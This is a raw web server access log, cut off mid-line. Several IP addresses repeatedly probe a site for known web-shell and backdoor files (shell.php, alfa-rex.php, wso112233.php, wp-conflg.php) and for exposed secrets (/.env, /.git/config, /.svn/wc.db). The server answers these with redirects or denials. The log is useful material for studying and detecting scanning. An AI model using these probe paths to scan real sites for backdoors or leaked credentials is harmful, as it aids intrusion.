172.213.144.187 - - [09/Feb/2026:23:53:18 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:53:20 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:54:52 +0300] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:54:55 +0300] "GET /assets/plugins/jquery-file-upload/server/php/include.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:54:59 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:56:45 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:57:10 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:57:36 +0300] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:57:39 +0300] "GET /wp-admin/network/shell.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:59:29 +0300] "GET /wp-mail.php/wp-includes/ID3/rnEPv9.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:59:32 +0300] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 404 796 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:59:32 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:59:35 +0300] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:59:39 +0300] "GET /admin/fckeditor/editor/filemanager/alfanew.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:59:41 +0300] "GET /admin/uploads/media.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:59:45 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:59:48 +0300] "GET /wp-content/themes/plugin.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:59:52 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:59:57 +0300] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:00:00 +0300] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:00:31 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:01:02 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:03:07 +0300] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:03:25 +0300] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:04:48 +0300] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:06:15 +0300] "GET /wp-admin/byp.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:06:18 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:06:21 +0300] "GET /css/chosen.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:06:27 +0300] "GET /wp-includes/js/crop/shell.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:46:47 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:47:26 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:47:39 +0300] "GET /wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:52:50 +0300] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:52:53 +0300] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:52:57 +0300] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:53:00 +0300] "GET /wp-content/upgrade-temp-backup/ty.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:53:26 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:55:43 +0300] "GET /wp-includes/sodium_compat/autoload_classmap.php/wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:55:46 +0300] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:56:03 +0300] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:56:49 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:56:52 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:56:56 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:56:59 +0300] "GET /admin/uploads/lv.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:58:35 +0300] "GET /wp-includes/Requests/Utility/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:58:38 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:59:04 +0300] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:59:16 +0300] "GET /images/stories/admin-post.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:04:40 +0300] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:04:43 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:05:04 +0300] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:05:50 +0300] "GET /wp-mail.php/wp-includes/ID3/esyfvxgmdq.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:47:45 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:47:56 +0300] "GET /wp-content/themes/wp-pridmag/lock.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:47:59 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:48:03 +0300] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:48:07 +0300] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [09/Feb/2026:23:49:41 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:49:54 +0300] "GET /admin/controller/extension/extension/blue.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:49:58 +0300] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:49:58 +0300] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:50:01 +0300] "GET /css/install.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:52:25 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:52:28 +0300] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:52:31 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:53:13 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:55:52 +0300] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:55:55 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:57:22 +0300] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:57:25 +0300] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:59:21 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:59:24 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:00:52 +0300] "GET /wp-includes/Requests/Utility/cc.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:00:55 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:01:50 +0300] "GET /index/lock.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:03:39 +0300] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:03:44 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:05:35 +0300] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:05:57 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:49:38 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [09/Feb/2026:23:49:51 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [09/Feb/2026:23:50:10 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [09/Feb/2026:23:50:14 +0300] "GET /bk.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [09/Feb/2026:23:50:16 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [09/Feb/2026:23:50:19 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:50:35 +0300] "GET /wp-includes/customize/muse.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:50:46 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:51:38 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:51:42 +0300] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:52:37 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:52:41 +0300] "GET /wp-content/mu-plugins/gecko.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:55:23 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:55:37 +0300] "GET /images/chosen.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:56:36 +0300] "GET /wp-includes/IXR/shell.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:56:40 +0300] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:58:15 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:58:18 +0300] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:03:55 +0300] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:06:03 +0300] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:06:06 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:06:08 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:47:00 +0300] "GET /wp-admin/includes/m.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:47:52 +0300] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:48:35 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:48:38 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [09/Feb/2026:23:49:10 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [09/Feb/2026:23:49:11 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [09/Feb/2026:23:49:23 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [09/Feb/2026:23:49:36 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:50:18 +0300] "GET /wp-includes/html-api/cloud.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:51:03 +0300] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:51:08 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:51:11 +0300] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:51:15 +0300] "GET /wp-includes/html-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:51:32 +0300] "GET /.well-knownold/inputs.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:51:52 +0300] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:52:07 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:52:09 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:52:17 +0300] "GET /wp-content/plugins/core-plugin/file-manager.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:53:05 +0300] "GET /wp-includes/php-compat/content.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:53:08 +0300] "GET /wp-admin/css/colors/blue/moon.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:53:57 +0300] "GET /wp-content/uploads/423_index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:54:00 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:54:04 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:54:08 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:54:11 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:54:46 +0300] "GET /assets/images/about.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:55:07 +0300] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:55:15 +0300] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:57:30 +0300] "GET /wp-includes/wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:58:43 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:00:42 +0300] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:00:48 +0300] "GET /wp-content/uploads/2022/update.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:04:04 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:04:56 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:04:59 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:05:24 +0300] "GET /assets/edit.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:05:27 +0300] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:05:42 +0300] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:21 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:24 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:28 +0300] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:04:29 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 182.40.104.255 - - [10/Feb/2026:00:15:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.215.85.12 - - [10/Feb/2026:00:32:27 +0300] "GET //.env HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.205.115.105 - - [10/Feb/2026:01:51:58 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:52:01 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:52:35 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:52:39 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:52:59 +0300] "GET /lbmd5v5t.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:54:42 +0300] "GET /js/adminer-3.5.1.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:54:57 +0300] "GET /error_log.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:55:41 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:53:45 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:53:48 +0300] "GET /bwiau.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:53:52 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:53:55 +0300] "GET /22name.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:53:57 +0300] "GET /lkj.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:54:00 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:55:17 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:55:46 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:57:12 +0300] "GET /Jcrop.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:02:12:03 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:51:45 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:56:14 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:52:23 +0300] "GET /24.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:52:26 +0300] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:52:29 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:52:44 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:52:47 +0300] "GET /ava.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:52:51 +0300] "GET /auth.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:52:54 +0300] "GET /ak.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:54:36 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:54:38 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:54:52 +0300] "GET /akxjt.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:55:05 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:56:09 +0300] "GET /erty.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:02:11:51 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:02:11:55 +0300] "GET /bk.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:02:12:07 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:52:14 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:55:51 +0300] "GET /z-ehp.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:55:54 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:55:58 +0300] "GET /a332.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:56:02 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:57:20 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:02:11:09 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:02:11:10 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:02:11:10 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:02:11:20 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:02:11:20 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:55:29 +0300] "GET /asz.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:56:34 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:56:50 +0300] "GET /h02ugyh.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:56:54 +0300] "GET /iov.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:56:58 +0300] "GET /xs.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:53:05 +0300] "GET /asax.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:53:23 +0300] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:53:29 +0300] "GET /gdn.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:53:32 +0300] "GET /fetch.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:53:36 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:53:39 +0300] "GET //cxc.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:54:05 +0300] "GET /hotel.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:54:08 +0300] "GET /35.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:54:11 +0300] "GET /1100.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:54:14 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:54:17 +0300] "GET /zrneoofb.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:54:21 +0300] "GET /kjh.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:54:24 +0300] "GET /54.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:54:27 +0300] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:54:31 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:56:20 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:56:23 +0300] "GET /koiy.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:56:27 +0300] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:56:40 +0300] "GET /system123.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:56:43 +0300] "GET /24name.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:57:06 +0300] "GET /96i.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:02:11:39 +0300] "GET /past1.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:53:12 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:53:15 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.205.115.105 - - [10/Feb/2026:01:53:19 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:02:11:27 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:02:11:32 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:02:11:46 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 45.148.10.160 - - [10/Feb/2026:02:44:56 +0300] "GET /.svn/wc.db HTTP/1.1" 403 787 "-" "Mozilla/5.0" 45.148.10.160 - - [10/Feb/2026:02:44:56 +0300] "GET /.svn/entries HTTP/1.1" 403 787 "-" "Mozilla/5.0" 45.148.10.160 - - [10/Feb/2026:02:44:54 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0" 45.148.10.160 - - [10/Feb/2026:02:45:14 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 222.184.48.146 - - [10/Feb/2026:02:54:21 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 74.7.175.185 - - [10/Feb/2026:03:25:30 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like 